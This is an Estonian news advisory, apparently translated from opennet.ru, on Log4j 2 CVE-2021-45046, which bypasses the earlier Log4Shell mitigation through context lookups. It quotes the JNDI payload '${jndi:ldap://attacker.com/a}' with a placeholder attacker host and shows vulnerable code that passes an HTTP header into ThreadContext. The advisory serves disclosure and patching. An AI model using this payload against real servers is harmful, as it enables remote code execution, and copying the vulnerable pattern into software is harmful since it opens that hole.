Log4j 2 uus ründevalik, mis võimaldab lisakaitsest mööda minna

JNDI otsingute juurutamisel Log4j 2 teegis (CVE-2021-45046) on tuvastatud veel üks haavatavus, mis ilmub vaatamata versioonis 2.15 lisatud parandustele ja olenemata sätte „log4j2.noFormatMsgLookup” kasutamisest kaitseks. Probleem on ohtlik peamiselt Log4j 2 vanematele versioonidele, mis on kaitstud lipuga “noFormatMsgLookup”, kuna see võimaldab mööduda kaitsest varasemate haavatavuste eest (Log4Shell, CVE-2021-44228), mis võimaldab teil oma koodi käivitada server. Versiooni 2.15 kasutajate puhul piirdub ärakasutamine rakenduse krahhi põhjustamisega olemasolevate ressursside ammendumise tõttu.

See haavatavus ilmneb ainult süsteemides, mis kasutavad logimiseks kontekstiotsinguid (nt ${ctx:loginId}) või MDC malle (Thread Context Map), nagu %X, %mdc ja %MDC. Toiming taandub tingimuste loomisele JNDI asendusi sisaldavate andmete logisse väljastamiseks, kui rakenduses kasutatakse kontekstipäringuid või MDC-malle, mis määratlevad logi väljundi vormindamise reeglid.

LunaSeci teadlased märkisid, et Log4j versioonide puhul, mis on alla 2.15, saab seda haavatavust kasutada Log4Shelli rünnaku uue vektorina, mis viib koodi käivitamiseni, kui logiväljundis kasutatakse ThreadContexti avaldisi, mis sisaldavad väliseid andmeid, olenemata sellest, kas "Protect" lipp on lubatud. noMsgFormatLookups" või mall "%m{nolookups}".

Log4j 2 uus ründevalik, mis võimaldab lisakaitsest mööda minna

Kaitsest mööda hiilimine taandub asjaolule, et "${jndi:ldap://attacker.com/a}" otsese asendamise asemel asendatakse see avaldis logiväljundi vormindamise reeglites kasutatava vahemuutuja väärtusega. . Näiteks kui logisse väljastamisel kasutatakse kontekstipäringut ${ctx:apiversion}, saab ründe sooritada, asendades andmed "${jndi:ldap://attacker.com/a}" apiversioon muutujale kirjutatud väärtus. Haavatava koodi näide: apender.console.layout.pattern = ${ctx:apiversion} - %d{yyyy-MM-dd HH:mm:ss} %-5p %c{1}:%L - %m%n @ GetMapping("/") public String index(@RequestHeader("X-Api-Version") String apiVersion) { // HTTP päise väärtus "X-Api-Version" edastatakse ThreadContextile ThreadContext.put("apiversion ", apiVersion ); // Logimisel töödeldakse välise apiversiooni väärtust, kasutades asendust ${ctx:apiversion} logger.info("Saadud API versiooni taotluse"); tagasi "Tere, maailm!"; }

Log4j versioonis 2.15 saab haavatavust kasutada DoS-i rünnakute sooritamiseks ThreadContextile väärtuste edastamisel, mille tulemuseks on väljundvormingu malli töötlemise silmus.

Log4j 2 uus ründevalik, mis võimaldab lisakaitsest mööda minna

Haavatavuse blokeerimiseks avaldati värskendused 2.16 ja 2.12.2. Log4j 2.16 harus on lisaks versioonis 2.15 juurutatud parandustele ja JNDI LDAP päringute sidumisele “localhostiga” vaikimisi täielikult keelatud JNDI funktsionaalsus ja sõnumite asendamise mallide tugi on eemaldatud. Turvalahendusena on soovitatav eemaldada klass JndiLookup klassiteelt (näiteks "zip -q -d log4j-core-*.jar org/apache/logging/log4j/core/lookup/JndiLookup.class") .

Saate jälgida paranduste ilmumist pakettidesse distributsioonide (Debian, Ubuntu, RHEL, SUSE, Fedora, Arch) ja Java platvormide tootjate (GitHub, Docker, Oracle, vmWare, Broadcom ja Amazon/AWS, Juniper, VMware, Cisco, IBM, Red Hat, MongoDB, Okta, SolarWinds, Symantec, McAfee, SonicWall, FortiGuard, Ubiquiti, F-Secure jne).

Allikas: opennet.ru

Lisa kommentaar